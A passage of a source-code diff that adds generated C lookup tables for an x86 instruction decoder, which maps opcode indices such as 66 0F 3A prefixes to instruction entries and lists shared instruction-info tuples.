*/ 0, + /* 142c - */ 0, + /* 142d - _V_66_0F_3A_08 */ 0x413a, + /* 142e - */ 0, + /* 142f - */ 0, + /* 1430 - */ 0, + /* 1431 - */ 0, + /* 1432 - */ 0, + /* 1433 - */ 0, + /* 1434 - */ 0, + /* 1435 - _66_0F_3A_09 */ 0x413b, + /* 1436 - */ 0, + /* 1437 - */ 0, + /* 1438 - */ 0, + /* 1439 - _V_66_0F_3A_09 */ 0x413c, + /* 143a - */ 0, + /* 143b - */ 0, + /* 143c - */ 0, + /* 143d - */ 0, + /* 143e - */ 0, + /* 143f - */ 0, + /* 1440 - */ 0, + /* 1441 - _66_0F_3A_0A */ 0x413d, + /* 1442 - */ 0, + /* 1443 - */ 0, + /* 1444 - */ 0, + /* 1445 - _V_66_0F_3A_0A */ 0x413e, + /* 1446 - */ 0, + /* 1447 - */ 0, + /* 1448 - */ 0, + /* 1449 - */ 0, + /* 144a - */ 0, + /* 144b - */ 0, + /* 144c - */ 0, + /* 144d - _66_0F_3A_0B */ 0x413f, + /* 144e - */ 0, + /* 144f - */ 0, + /* 1450 - */ 0, + /* 1451 - _V_66_0F_3A_0B */ 0x4140, + /* 1452 - */ 0, + /* 1453 - */ 0, + /* 1454 - */ 0, + /* 1455 - */ 0, + /* 1456 - */ 0, + /* 1457 - */ 0, + /* 1458 - */ 0, + /* 1459 - _66_0F_3A_0C */ 0x4141, + /* 145a - */ 0, + /* 145b - */ 0, + /* 145c - */ 0, + /* 145d - _V_66_0F_3A_0C */ 0x4142, + /* 145e - */ 0, + /* 145f - */ 0, + /* 1460 - */ 0, + /* 1461 - */ 0, + /* 1462 - */ 0, + /* 1463 - */ 0, + /* 1464 - */ 0, + /* 1465 - _66_0F_3A_0D */ 0x4143, + /* 1466 - */ 0, + /* 1467 - */ 0, + /* 1468 - */ 0, + /* 1469 - _V_66_0F_3A_0D */ 0x4144, + /* 146a - */ 0, + /* 146b - */ 0, + /* 146c - */ 0, + /* 146d - */ 0, + /* 146e - */ 0, + /* 146f - */ 0, + /* 1470 - */ 0, + /* 1471 - _66_0F_3A_0E */ 0x4145, + /* 1472 - */ 0, + /* 1473 - */ 0, + /* 1474 - */ 0, + /* 1475 - _V_66_0F_3A_0E */ 0x4146, + /* 1476 - */ 0, + /* 1477 - */ 0, + /* 1478 - */ 0, + /* 1479 - */ 0, + /* 147a - */ 0, + /* 147b - */ 0, + /* 147c - _0F_3A_0F */ 0x4147, + /* 147d - _66_0F_3A_0F */ 0x4148, + /* 147e - */ 0, + /* 147f - */ 0, + /* 1480 - */ 0, + /* 1481 - _V_66_0F_3A_0F */ 0x4149, + /* 1482 - */ 0, + /* 1483 - */ 0, + /* 1484 - */ 0, + /* 1485 - */ 0, + /* 1486 - */ 0, + /* 1487 - */ 0, + /* 1488 - */ 0, + /* 1489 - _66_0F_3A_14 */ 0x414a, + /* 148a - */ 0, + /* 148b - */ 0, + /* 148c - */ 0, + /* 148d - _V_66_0F_3A_14 */ 0x414b, + /* 148e - */ 0, + /* 148f - */ 0, + /* 1490 - */ 0, + /* 1491 - */ 0, + /* 1492 - */ 0, + /* 1493 - */ 0, + /* 1494 - */ 0, + /* 1495 - _66_0F_3A_15 */ 0x414c, + /* 1496 - */ 0, + /* 1497 - */ 0, + /* 1498 - */ 0, + /* 1499 - _V_66_0F_3A_15 */ 0x414d, + /* 149a - */ 0, + /* 149b - */ 0, + /* 149c - */ 0, + /* 149d - */ 0, + /* 149e - */ 0, + /* 149f - */ 0, + /* 14a0 - */ 0, + /* 14a1 - _66_0F_3A_16 */ 0x414e, + /* 14a2 - */ 0, + /* 14a3 - */ 0, + /* 14a4 - */ 0, + /* 14a5 - _V_66_0F_3A_16 */ 0x414f, + /* 14a6 - */ 0, + /* 14a7 - */ 0, + /* 14a8 - */ 0, + /* 14a9 - */ 0, + /* 14aa - */ 0, + /* 14ab - */ 0, + /* 14ac - */ 0, + /* 14ad - _66_0F_3A_17 */ 0x4150, + /* 14ae - */ 0, + /* 14af - */ 0, + /* 14b0 - */ 0, + /* 14b1 - _V_66_0F_3A_17 */ 0x4151, + /* 14b2 - */ 0, + /* 14b3 - */ 0, + /* 14b4 - */ 0, + /* 14b5 - */ 0, + /* 14b6 - */ 0, + /* 14b7 - */ 0, + /* 14b8 - */ 0, + /* 14b9 - */ 0, + /* 14ba - */ 0, + /* 14bb - */ 0, + /* 14bc - */ 0, + /* 14bd - _V_66_0F_3A_18 */ 0x4152, + /* 14be - */ 0, + /* 14bf - */ 0, + /* 14c0 - */ 0, + /* 14c1 - */ 0, + /* 14c2 - */ 0, + /* 14c3 - */ 0, + /* 14c4 - */ 0, + /* 14c5 - */ 0, + /* 14c6 - */ 0, + /* 14c7 - */ 0, + /* 14c8 - */ 0, + /* 14c9 - _V_66_0F_3A_19 */ 0x4153, + /* 14ca - */ 0, + /* 14cb - */ 0, + /* 14cc - */ 0, + /* 14cd - */ 0, + /* 14ce - */ 0, + /* 14cf - */ 0, + /* 14d0 - */ 0, + /* 14d1 - _66_0F_3A_20 */ 0x4154, + /* 14d2 - */ 0, + /* 14d3 - */ 0, + /* 14d4 - */ 0, + /* 14d5 - _V_66_0F_3A_20 */ 0x4155, + /* 14d6 - */ 0, + /* 14d7 - */ 0, + /* 14d8 - */ 0, + /* 14d9 - */ 0, + /* 14da - */ 0, + /* 14db - */ 0, + /* 14dc - */ 0, + /* 14dd - _66_0F_3A_21 */ 0x4156, + /* 14de - */ 0, + /* 14df - */ 0, + /* 14e0 - */ 0, + /* 14e1 - _V_66_0F_3A_21 */ 0x4157, + /* 14e2 - */ 0, + /* 14e3 - */ 0, + /* 14e4 - */ 0, + /* 14e5 - */ 0, + /* 14e6 - */ 0, + /* 14e7 - */ 0, + /* 14e8 - */ 0, + /* 14e9 - _66_0F_3A_22 */ 0x4158, + /* 14ea - */ 0, + /* 14eb - */ 0, + /* 14ec - */ 0, + /* 14ed - _V_66_0F_3A_22 */ 0x4159, + /* 14ee - */ 0, + /* 14ef - */ 0, + /* 14f0 - */ 0, + /* 14f1 - */ 0, + /* 14f2 - */ 0, + /* 14f3 - */ 0, + /* 14f4 - */ 0, + /* 14f5 - _66_0F_3A_40 */ 0x415a, + /* 14f6 - */ 0, + /* 14f7 - */ 0, + /* 14f8 - */ 0, + /* 14f9 - _V_66_0F_3A_40 */ 0x415b, + /* 14fa - */ 0, + /* 14fb - */ 0, + /* 14fc - */ 0, + /* 14fd - */ 0, + /* 14fe - */ 0, + /* 14ff - */ 0, + /* 1500 - */ 0, + /* 1501 - _66_0F_3A_41 */ 0x415c, + /* 1502 - */ 0, + /* 1503 - */ 0, + /* 1504 - */ 0, + /* 1505 - _V_66_0F_3A_41 */ 0x415d, + /* 1506 - */ 0, + /* 1507 - */ 0, + /* 1508 - */ 0, + /* 1509 - */ 0, + /* 150a - */ 0, + /* 150b - */ 0, + /* 150c - */ 0, + /* 150d - _66_0F_3A_42 */ 0x415e, + /* 150e - */ 0, + /* 150f - */ 0, + /* 1510 - */ 0, + /* 1511 - _V_66_0F_3A_42 */ 0x415f, + /* 1512 - */ 0, + /* 1513 - */ 0, + /* 1514 - */ 0, + /* 1515 - */ 0, + /* 1516 - */ 0, + /* 1517 - */ 0, + /* 1518 - */ 0, + /* 1519 - _66_0F_3A_44 */ 0x4160, + /* 151a - */ 0, + /* 151b - */ 0, + /* 151c - */ 0, + /* 151d - _V_66_0F_3A_44 */ 0x4161, + /* 151e - */ 0, + /* 151f - */ 0, + /* 1520 - */ 0, + /* 1521 - */ 0, + /* 1522 - */ 0, + /* 1523 - */ 0, + /* 1524 - */ 0, + /* 1525 - */ 0, + /* 1526 - */ 0, + /* 1527 - */ 0, + /* 1528 - */ 0, + /* 1529 - _V_66_0F_3A_4A */ 0x4162, + /* 152a - */ 0, + /* 152b - */ 0, + /* 152c - */ 0, + /* 152d - */ 0, + /* 152e - */ 0, + /* 152f - */ 0, + /* 1530 - */ 0, + /* 1531 - */ 0, + /* 1532 - */ 0, + /* 1533 - */ 0, + /* 1534 - */ 0, + /* 1535 - _V_66_0F_3A_4B */ 0x4163, + /* 1536 - */ 0, + /* 1537 - */ 0, + /* 1538 - */ 0, + /* 1539 - */ 0, + /* 153a - */ 0, + /* 153b - */ 0, + /* 153c - */ 0, + /* 153d - */ 0, + /* 153e - */ 0, + /* 153f - */ 0, + /* 1540 - */ 0, + /* 1541 - _V_66_0F_3A_4C */ 0x4164, + /* 1542 - */ 0, + /* 1543 - */ 0, + /* 1544 - */ 0, + /* 1545 - */ 0, + /* 1546 - */ 0, + /* 1547 - */ 0, + /* 1548 - */ 0, + /* 1549 - _66_0F_3A_60 */ 0x4165, + /* 154a - */ 0, + /* 154b - */ 0, + /* 154c - */ 0, + /* 154d - _V_66_0F_3A_60 */ 0x4166, + /* 154e - */ 0, + /* 154f - */ 0, + /* 1550 - */ 0, + /* 1551 - */ 0, + /* 1552 - */ 0, + /* 1553 - */ 0, + /* 1554 - */ 0, + /* 1555 - _66_0F_3A_61 */ 0x4167, + /* 1556 - */ 0, + /* 1557 - */ 0, + /* 1558 - */ 0, + /* 1559 - _V_66_0F_3A_61 */ 0x4168, + /* 155a - */ 0, + /* 155b - */ 0, + /* 155c - */ 0, + /* 155d - */ 0, + /* 155e - */ 0, + /* 155f - */ 0, + /* 1560 - */ 0, + /* 1561 - _66_0F_3A_62 */ 0x4169, + /* 1562 - */ 0, + /* 1563 - */ 0, + /* 1564 - */ 0, + /* 1565 - _V_66_0F_3A_62 */ 0x416a, + /* 1566 - */ 0, + /* 1567 - */ 0, + /* 1568 - */ 0, + /* 1569 - */ 0, + /* 156a - */ 0, + /* 156b - */ 0, + /* 156c - */ 0, + /* 156d - _66_0F_3A_63 */ 0x416b, + /* 156e - */ 0, + /* 156f - */ 0, + /* 1570 - */ 0, + /* 1571 - _V_66_0F_3A_63 */ 0x416c, + /* 1572 - */ 0, + /* 1573 - */ 0, + /* 1574 - */ 0, + /* 1575 - */ 0, + /* 1576 - */ 0, + /* 1577 - */ 0, + /* 1578 - */ 0, + /* 1579 - _66_0F_3A_DF */ 0x416d, + /* 157a - */ 0, + /* 157b - */ 0, + /* 157c - */ 0, + /* 157d - _V_66_0F_3A_DF */ 0x416e, + /* 157e - */ 0, + /* 157f - */ 0, + /* 1580 - */ 0, + /* 1581 - */ 0, + /* 1582 - */ 0, + /* 1583 - */ 0, + /* 1584 - _0F_71_02 */ 0x24c3, + /* 1585 - _66_0F_71_02 */ 0x24c4, + /* 1586 - */ 0, + /* 1587 - */ 0, + /* 1588 - */ 0, + /* 1589 - _V_66_0F_71_02 */ 0x416f, + /* 158a - */ 0, + /* 158b - */ 0, + /* 158c - */ 0, + /* 158d - */ 0, + /* 158e - */ 0, + /* 158f - */ 0, + /* 1590 - _0F_71_04 */ 0x24c5, + /* 1591 - _66_0F_71_04 */ 0x24c6, + /* 1592 - */ 0, + /* 1593 - */ 0, + /* 1594 - */ 0, + /* 1595 - _V_66_0F_71_04 */ 0x4170, + /* 1596 - */ 0, + /* 1597 - */ 0, + /* 1598 - */ 0, + /* 1599 - */ 0, + /* 159a - */ 0, + /* 159b - */ 0, + /* 159c - _0F_71_06 */ 0x24c7, + /* 159d - _66_0F_71_06 */ 0x24c8, + /* 159e - */ 0, + /* 159f - */ 0, + /* 15a0 - */ 0, + /* 15a1 - _V_66_0F_71_06 */ 0x4171, + /* 15a2 - */ 0, + /* 15a3 - */ 0, + /* 15a4 - */ 0, + /* 15a5 - */ 0, + /* 15a6 - */ 0, + /* 15a7 - */ 0, + /* 15a8 - _0F_72_02 */ 0x24c9, + /* 15a9 - _66_0F_72_02 */ 0x24ca, + /* 15aa - */ 0, + /* 15ab - */ 0, + /* 15ac - */ 0, + /* 15ad - _V_66_0F_72_02 */ 0x4172, + /* 15ae - */ 0, + /* 15af - */ 0, + /* 15b0 - */ 0, + /* 15b1 - */ 0, + /* 15b2 - */ 0, + /* 15b3 - */ 0, + /* 15b4 - _0F_72_04 */ 0x24cb, + /* 15b5 - _66_0F_72_04 */ 0x24cc, + /* 15b6 - */ 0, + /* 15b7 - */ 0, + /* 15b8 - */ 0, + /* 15b9 - _V_66_0F_72_04 */ 0x4173, + /* 15ba - */ 0, + /* 15bb - */ 0, + /* 15bc - */ 0, + /* 15bd - */ 0, + /* 15be - */ 0, + /* 15bf - */ 0, + /* 15c0 - _0F_72_06 */ 0x24cd, + /* 15c1 - _66_0F_72_06 */ 0x24ce, + /* 15c2 - */ 0, + /* 15c3 - */ 0, + /* 15c4 - */ 0, + /* 15c5 - _V_66_0F_72_06 */ 0x4174, + /* 15c6 - */ 0, + /* 15c7 - */ 0, + /* 15c8 - */ 0, + /* 15c9 - */ 0, + /* 15ca - */ 0, + /* 15cb - */ 0, + /* 15cc - _0F_73_02 */ 0x24cf, + /* 15cd - _66_0F_73_02 */ 0x24d0, + /* 15ce - */ 0, + /* 15cf - */ 0, + /* 15d0 - */ 0, + /* 15d1 - _V_66_0F_73_02 */ 0x4175, + /* 15d2 - */ 0, + /* 15d3 - */ 0, + /* 15d4 - */ 0, + /* 15d5 - */ 0, + /* 15d6 - */ 0, + /* 15d7 - */ 0, + /* 15d8 - */ 0, + /* 15d9 - _66_0F_73_03 */ 0x24d1, + /* 15da - */ 0, + /* 15db - */ 0, + /* 15dc - */ 0, + /* 15dd - _V_66_0F_73_03 */ 0x4176, + /* 15de - */ 0, + /* 15df - */ 0, + /* 15e0 - */ 0, + /* 15e1 - */ 0, + /* 15e2 - */ 0, + /* 15e3 - */ 0, + /* 15e4 - _0F_73_06 */ 0x24d2, + /* 15e5 - _66_0F_73_06 */ 0x24d3, + /* 15e6 - */ 0, + /* 15e7 - */ 0, + /* 15e8 - */ 0, + /* 15e9 - _V_66_0F_73_06 */ 0x4177, + /* 15ea - */ 0, + /* 15eb - */ 0, + /* 15ec - */ 0, + /* 15ed - */ 0, + /* 15ee - */ 0, + /* 15ef - */ 0, + /* 15f0 - */ 0, + /* 15f1 - _66_0F_73_07 */ 0x24d4, + /* 15f2 - */ 0, + /* 15f3 - */ 0, + /* 15f4 - */ 0, + /* 15f5 - _V_66_0F_73_07 */ 0x4178, + /* 15f6 - */ 0, + /* 15f7 - */ 0, + /* 15f8 - */ 0, + /* 15f9 - */ 0, + /* 15fa - */ 0, + /* 15fb - */ 0, + /* 15fc - _0F_AE_00 */ 0x4179, + /* 15fd - */ 0, + /* 15fe - _F3_0F_AE_00 */ 0x24d5, + /* 15ff - */ 0, + /* 1600 - */ 0, + /* 1601 - */ 0, + /* 1602 - */ 0, + /* 1603 - */ 0, + /* 1604 - */ 0, + /* 1605 - */ 0, + /* 1606 - */ 0, + /* 1607 - */ 0, + /* 1608 - _0F_AE_01 */ 0x417a, + /* 1609 - */ 0, + /* 160a - _F3_0F_AE_01 */ 0x24d6, + /* 160b - */ 0, + /* 160c - */ 0, + /* 160d - */ 0, + /* 160e - */ 0, + /* 160f - */ 0, + /* 1610 - */ 0, + /* 1611 - */ 0, + /* 1612 - */ 0, + /* 1613 - */ 0, + /* 1614 - _0F_AE_02 */ 0x24d7, + /* 1615 - */ 0, + /* 1616 - _F3_0F_AE_02 */ 0x24d8, + /* 1617 - */ 0, + /* 1618 - _V_0F_AE_02 */ 0x417b, + /* 1619 - */ 0, + /* 161a - */ 0, + /* 161b - */ 0, + /* 161c - */ 0, + /* 161d - */ 0, + /* 161e - */ 0, + /* 161f - */ 0, + /* 1620 - _0F_AE_03 */ 0x24d9, + /* 1621 - */ 0, + /* 1622 - _F3_0F_AE_03 */ 0x24da, + /* 1623 - */ 0, + /* 1624 - _V_0F_AE_03 */ 0x417c, + /* 1625 - */ 0, + /* 1626 - */ 0, + /* 1627 - */ 0, + /* 1628 - */ 0, + /* 1629 - */ 0, + /* 162a - */ 0, + /* 162b - */ 0, + /* 162c - _0F_C7_06 */ 0x24db, + /* 162d - _66_0F_C7_06 */ 0x24dc, + /* 162e - _F3_0F_C7_06 */ 0x24dd, + /* 162f - */ 0, + /* 1630 - */ 0, + /* 1631 - */ 0, + /* 1632 - */ 0, + /* 1633 - */ 0, + /* 1634 - */ 0, + /* 1635 - */ 0, + /* 1636 - */ 0, + /* 1637 - */ 0 +}; + +_InstSharedInfo InstSharedInfoTable[470] = { + { 0, 9, 15, 8, 245, 0, 0 }, + { 0, 11, 17, 8, 245, 0, 0 }, + { 0, 15, 9, 8, 245, 0, 0 }, + { 0, 17, 11, 8, 245, 0, 0 }, + { 1, 1, 33, 8, 245, 0, 0 }, + { 1, 3, 35, 8, 245, 0, 0 }, + { 2, 0, 32, 8, 0, 0, 0 }, + { 3, 0, 32, 8, 0, 0, 0 }, + { 0, 9, 15, 8, 196, 16, 0 }, + { 0, 11, 17, 8, 196, 16, 0 }, + { 0, 15, 9, 8, 196, 16, 0 }, + { 0, 17, 11, 8, 196, 16, 0 }, + { 1, 1, 33, 8, 196, 16, 0 }, + { 1, 3, 35, 8, 196, 16, 0 }, + { 4, 0, 32, 8, 0, 0, 0 }, + { 0, 9, 15, 8, 245, 1, 0 }, + { 0, 11, 17, 8, 245, 1, 0 }, + { 0, 15, 9, 8, 245, 1, 0 }, + { 0, 17, 11, 8, 245, 1, 0 }, + { 1, 1, 33, 8, 245, 1, 0 }, + { 1, 3, 35, 8, 245, 1, 0 }, + { 5, 0, 32, 8, 0, 0, 0 }, + { 6, 0, 32, 8, 0, 0, 0 }, + { 7, 0, 32, 8, 0, 0, 0 }, + { 8, 0, 32, 8, 0, 0, 0 }, + { 0, 9, 15, 8, 229, 0, 16 }, + { 0, 11, 17, 8, 229, 0, 16 }, + { 0, 15, 9, 8, 229, 0, 16 }, + { 0, 17, 11, 8, 229, 0, 16 }, + { 1, 1, 33, 8, 229, 0, 16 }, + { 1, 3, 35, 8, 229, 0, 16 }, + { 9, 0, 0, 8, 213, 17, 32 }, + { 0, 9, 15, 8, 196, 0, 16 }, + { 0, 11, 17, 8, 196, 0, 16 }, + { 0, 15, 9, 8, 196, 0, 16 }, + { 0, 17, 11, 8, 196, 0, 16 }, + { 1, 1, 33, 8, 196, 0, 16 }, + { 1, 3, 35, 8, 196, 0, 16 }, + { 9, 0, 0, 8, 17, 16, 228 }, + { 10, 9, 15, 8, 245, 0, 0 }, + { 10, 11, 17, 8, 245, 0, 0 }, + { 10, 15, 9, 8, 245, 0, 0 }, + { 10, 17, 11, 8, 245, 0, 0 }, + { 11, 1, 33, 8, 245, 0, 0 }, + { 11, 3, 35, 8, 245, 0, 0 }, + { 12, 0, 54, 8, 244, 0, 0 }, + { 13, 0, 54, 8, 0, 0, 0 }, + { 14, 0, 54, 8, 0, 0, 0 }, + { 15, 0, 0, 8, 0, 0, 0 }, + { 16, 42, 11, 8, 0, 0, 0 }, + { 10, 10, 16, 8, 64, 0, 0 }, + { 13, 0, 3, 8, 0, 0, 0 }, + { 17, 17, 11, 8, 33, 0, 212 }, + { 18, 0, 5, 8, 0, 0, 0 }, + { 19, 59, 56, 8, 0, 8, 0 }, + { 20, 59, 56, 8, 0, 8, 0 }, + { 19, 55, 59, 8, 0, 8, 0 }, + { 20, 55, 59, 8, 0, 8, 0 }, + { 13, 0, 40, 13, 0, 32, 0 }, + { 13, 0, 40, 13, 0, 1, 0 }, + { 13, 0, 40, 13, 0, 64, 0 }, + { 13, 0, 40, 13, 0, 65, 0 }, + { 13, 0, 40, 13, 0, 128, 0 }, + { 13, 0, 40, 13, 0, 4, 0 }, + { 13, 0, 40, 13, 0, 160, 0 }, + { 13, 0, 40, 13, 0, 224, 0 }, + { 10, 9, 15, 8, 196, 0, 16 }, + { 10, 11, 17, 8, 196, 0, 16 }, + { 0, 9, 15, 8, 0, 0, 0 }, + { 0, 11, 17, 8, 0, 0, 0 }, + { 21, 9, 15, 8, 0, 0, 0 }, + { 21, 11, 17, 8, 0, 0, 0 }, + { 21, 15, 9, 8, 0, 0, 0 }, + { 21, 17, 11, 8, 0, 0, 0 }, + { 21, 31, 28, 8, 0, 0, 0 }, + { 21, 42, 11, 8, 0, 0, 0 }, + { 21, 28, 31, 8, 0, 0, 0 }, + { 1, 35, 54, 8, 0, 0, 0 }, + { 22, 0, 0, 8, 0, 0, 0 }, + { 9, 0, 38, 9, 0, 0, 0 }, + { 23, 0, 0, 8, 0, 0, 0 }, + { 23, 0, 0, 8, 255, 0, 0 }, + { 11, 0, 0, 8, 213, 0, 0 }, + { 11, 0, 0, 8, 0, 0, 0 }, + { 1, 49, 33, 8, 0, 0, 0 }, + { 1, 50, 35, 8, 0, 0, 0 }, + { 1, 33, 49, 8, 0, 0, 0 }, + { 1, 35, 50, 8, 0, 0, 0 }, + { 24, 55, 56, 8, 0, 8, 0 }, + { 25, 55, 56, 8, 0, 8, 0 }, + { 19, 56, 55, 8, 245, 8, 0 }, + { 26, 56, 55, 8, 245, 8, 0 }, + { 11, 1, 33, 8, 196, 0, 16 }, + { 11, 3, 35, 8, 196, 0, 16 }, + { 19, 33, 56, 8, 0, 8, 0 }, + { 26, 35, 56, 8, 0, 8, 0 }, + { 19, 55, 33, 8, 0, 8, 0 }, + { 26, 55, 35, 8, 0, 8, 0 }, + { 19, 33, 56, 8, 245, 8, 0 }, + { 26, 35, 56, 8, 245, 8, 0 }, + { 1, 1, 53, 8, 0, 0, 0 }, + { 27, 3, 54, 8, 0, 0, 0 }, + { 13, 0, 2, 10, 0, 0, 0 }, + { 13, 0, 0, 10, 0, 0, 0 }, + { 16, 37, 11, 8, 0, 0, 0 }, + { 13, 8, 6, 8, 0, 0, 0 }, + { 13, 0, 0, 8, 0, 0, 0 }, + { 28, 0, 2, 10, 0, 0, 0 }, + { 28, 0, 0, 10, 0, 0, 0 }, + { 11, 0, 0, 14, 0, 0, 0 }, + { 11, 0, 1, 14, 0, 0, 0 }, + { 9, 0, 0, 14, 0, 0, 0 }, + { 28, 0, 0, 10, 255, 0, 0 }, + { 9, 0, 1, 8, 196, 0, 49 }, + { 9, 0, 0, 8, 0, 0, 0 }, + { 29, 0, 57, 8, 0, 0, 0 }, + { 30, 0, 40, 13, 0, 64, 0 }, + { 30, 0, 40, 13, 0, 0, 0 }, + { 31, 0, 40, 13, 0, 0, 0 }, + { 1, 1, 33, 8, 0, 0, 0 }, + { 1, 1, 36, 8, 0, 0, 0 }, + { 11, 33, 1, 8, 0, 0, 0 }, + { 11, 36, 1, 8, 0, 0, 0 }, + { 13, 0, 41, 9, 0, 0, 0 }, + { 13, 0, 41, 12, 0, 0, 0 }, + { 9, 0, 38, 12, 0, 0, 0 }, + { 13, 0, 40, 12, 0, 0, 0 }, + { 1, 59, 33, 8, 0, 0, 0 }, + { 1, 59, 36, 8, 0, 0, 0 }, + { 11, 33, 59, 8, 0, 0, 0 }, + { 11, 36, 59, 8, 0, 0, 0 }, + { 11, 0, 0, 8, 1, 0, 0 }, + { 11, 0, 0, 8, 2, 0, 0 }, + { 11, 0, 0, 8, 8, 0, 0 }, + { 10, 16, 11, 8, 64, 0, 0 }, + { 32, 0, 0, 27, 0, 0, 0 }, + { 32, 0, 0, 8, 0, 0, 0 }, + { 32, 0, 0, 14, 0, 0, 0 }, + { 11, 0, 0, 96, 0, 0, 0 }, + { 10, 0, 17, 8, 0, 0, 0 }, + { 33, 29, 14, 8, 0, 0, 0 }, + { 33, 30, 14, 8, 0, 0, 0 }, + { 33, 14, 29, 8, 0, 0, 0 }, + { 33, 14, 30, 8, 0, 0, 0 }, + { 34, 0, 0, 8, 0, 0, 0 }, + { 35, 17, 11, 31, 0, 32, 0 }, + { 35, 17, 11, 31, 0, 1, 0 }, + { 35, 17, 11, 31, 0, 64, 0 }, + { 35, 17, 11, 31, 0, 65, 0 }, + { 35, 17, 11, 31, 0, 128, 0 }, + { 35, 17, 11, 31, 0, 4, 0 }, + { 35, 17, 11, 31, 0, 160, 0 }, + { 35, 17, 11, 31, 0, 224, 0 }, + { 32, 0, 41, 13, 0, 32, 0 }, + { 32, 0, 41, 13, 0, 1, 0 }, + { 32, 0, 41, 13, 0, 64, 0 }, + { 32, 0, 41, 13, 0, 65, 0 }, + { 32, 0, 41, 13, 0, 128, 0 }, + { 32, 0, 41, 13, 0, 4, 0 }, + { 32, 0, 41, 13, 0, 160, 0 }, + { 32, 0, 41, 13, 0, 224, 0 }, + { 35, 0, 15, 8, 0, 32, 0 }, + { 35, 0, 15, 8, 0, 1, 0 }, + { 35, 0, 15, 8, 0, 64, 0 }, + { 35, 0, 15, 8, 0, 65, 0 }, + { 35, 0, 15, 8, 0, 128, 0 }, + { 35, 0, 15, 8, 0, 4, 0 }, + { 35, 0, 15, 8, 0, 160, 0 }, + { 35, 0, 15, 8, 0, 224, 0 }, + { 36, 0, 32, 8, 0, 0, 0 }, + { 37, 0, 32, 8, 0, 0, 0 }, + { 35, 11, 17, 8, 1, 0, 244 }, + { 38, 11, 17, 8, 197, 0, 48 }, + { 39, 0, 32, 8, 0, 0, 0 }, + { 40, 0, 32, 8, 0, 0, 0 }, + { 32, 0, 0, 8, 255, 0, 0 }, + { 41, 11, 17, 8, 1, 0, 244 }, + { 35, 17, 11, 8, 33, 0, 212 }, + { 41, 9, 15, 8, 245, 0, 0 }, + { 41, 11, 17, 8, 245, 0, 0 }, + { 42, 37, 11, 8, 0, 0, 0 }, + { 35, 15, 11, 8, 0, 0, 0 }, + { 43, 16, 11, 8, 0, 0, 0 }, + { 43, 13, 45, 48, 0, 0, 0 }, + { 44, 0, 54, 8, 0, 0, 0 }, + { 45, 1, 15, 8, 245, 0, 0 }, + { 45, 1, 15, 8, 196, 16, 0 }, + { 45, 1, 15, 8, 245, 1, 0 }, + { 45, 1, 15, 8, 229, 0, 16 }, + { 45, 1, 15, 8, 196, 0, 16 }, + { 46, 1, 15, 8, 245, 0, 0 }, + { 45, 3, 17, 8, 245, 0, 0 }, + { 45, 3, 17, 8, 196, 16, 0 }, + { 45, 3, 17, 8, 245, 1, 0 }, + { 45, 3, 17, 8, 229, 0, 16 }, + { 45, 3, 17, 8, 196, 0, 16 }, + { 46, 3, 17, 8, 245, 0, 0 }, + { 47, 1, 15, 8, 245, 0, 0 }, + { 47, 1, 15, 8, 196, 16, 0 }, + { 47, 1, 15, 8, 245, 1, 0 }, + { 47, 1, 15, 8, 229, 0, 16 }, + { 47, 1, 15, 8, 196, 0, 16 }, + { 48, 1, 15, 8, 245, 0, 0 }, + { 45, 5, 17, 8, 245, 0, 0 }, + { 49, 5, 17, 8, 196, 16, 0 }, + { 45, 5, 17, 8, 245, 1, 0 }, + { 49, 5, 17, 8, 229, 0, 16 }, + { 49, 5, 17, 8, 196, 0, 16 }, + { 46, 5, 17, 8, 245, 0, 0 }, + { 50, 0, 17, 8, 0, 0, 0 }, + { 51, 1, 15, 8, 1, 0, 32 }, + { 51, 1, 15, 8, 1, 1, 32 }, + { 51, 1, 15, 8, 197, 0, 48 }, + { 51, 1, 17, 8, 1, 0, 32 }, + { 51, 1, 17, 8, 1, 1, 32 }, + { 51, 1, 17, 8, 197, 0, 48 }, + { 52, 1, 15, 8, 0, 0, 0 }, + { 53, 0, 1, 24, 0, 0, 0 }, + { 52, 3, 17, 8, 0, 0, 0 }, + { 53, 0, 41, 24, 0, 0, 0 }, + { 51, 51, 15, 8, 33, 0, 0 }, + { 51, 51, 15, 8, 33, 1, 0 }, + { 51, 51, 15, 8, 229, 0, 16 }, + { 51, 51, 17, 8, 33, 0, 0 }, + { 51, 51, 17, 8, 33, 1, 0 }, + { 51, 51, 17, 8, 229, 0, 16 }, + { 51, 52, 15, 8, 1, 0, 32 }, + { 51, 52, 15, 8, 1, 1, 32 }, + { 51, 52, 15, 8, 197, 0, 48 }, + { 51, 52, 17, 8, 1, 0, 32 }, + { 51, 52, 17, 8, 1, 1, 32 }, + { 51, 52, 17, 8, 197, 0, 48 }, + { 46, 0, 21, 16, 0, 0, 0 }, + { 54, 0, 62, 16, 0, 0, 0 }, + { 54, 0, 61, 16, 0, 0, 0 }, + { 54, 0, 0, 16, 0, 0, 0 }, + { 51, 0, 21, 16, 0, 0, 0 }, + { 46, 0, 42, 16, 0, 0, 0 }, + { 46, 0, 20, 16, 0, 0, 0 }, + { 55, 0, 62, 24, 0, 1, 0 }, + { 55, 0, 62, 24, 0, 64, 0 }, + { 55, 0, 62, 24, 0, 65, 0 }, + { 55, 0, 62, 24, 0, 4, 0 }, + { 56, 0, 21, 56, 0, 0, 0 }, + { 46, 0, 23, 16, 0, 0, 0 }, + { 51, 0, 23, 16, 0, 0, 0 }, + { 55, 0, 62, 16, 69, 0, 0 }, + { 55, 0, 62, 24, 69, 0, 0 }, + { 46, 0, 22, 16, 0, 0, 0 }, + { 54, 0, 63, 16, 0, 0, 0 }, + { 56, 0, 22, 56, 0, 0, 0 }, + { 51, 0, 22, 16, 0, 0, 0 }, + { 56, 0, 20, 56, 0, 0, 0 }, + { 51, 0, 20, 16, 0, 0, 0 }, + { 46, 1, 15, 8, 196, 0, 16 }, + { 45, 0, 15, 8, 0, 0, 0 }, + { 45, 0, 15, 8, 245, 0, 0 }, + { 51, 0, 15, 8, 33, 0, 212 }, + { 51, 0, 15, 8, 0, 0, 245 }, + { 46, 3, 17, 8, 196, 0, 16 }, + { 45, 0, 17, 8, 0, 0, 0 }, + { 45, 0, 17, 8, 245, 0, 0 }, + { 51, 0, 17, 8, 33, 0, 212 }, + { 51, 0, 17, 8, 0, 0, 245 }, + { 45, 0, 15, 8, 244, 0, 0 }, + { 45, 0, 17, 8, 244, 0, 0 }, + { 57, 0, 17, 9, 0, 0, 0 }, + { 58, 0, 37, 9, 0, 0, 0 }, + { 57, 0, 17, 12, 0, 0, 0 }, + { 58, 0, 37, 12, 0, 0, 0 }, + { 57, 0, 17, 8, 0, 0, 0 }, + { 46, 0, 17, 8, 0, 0, 0 }, 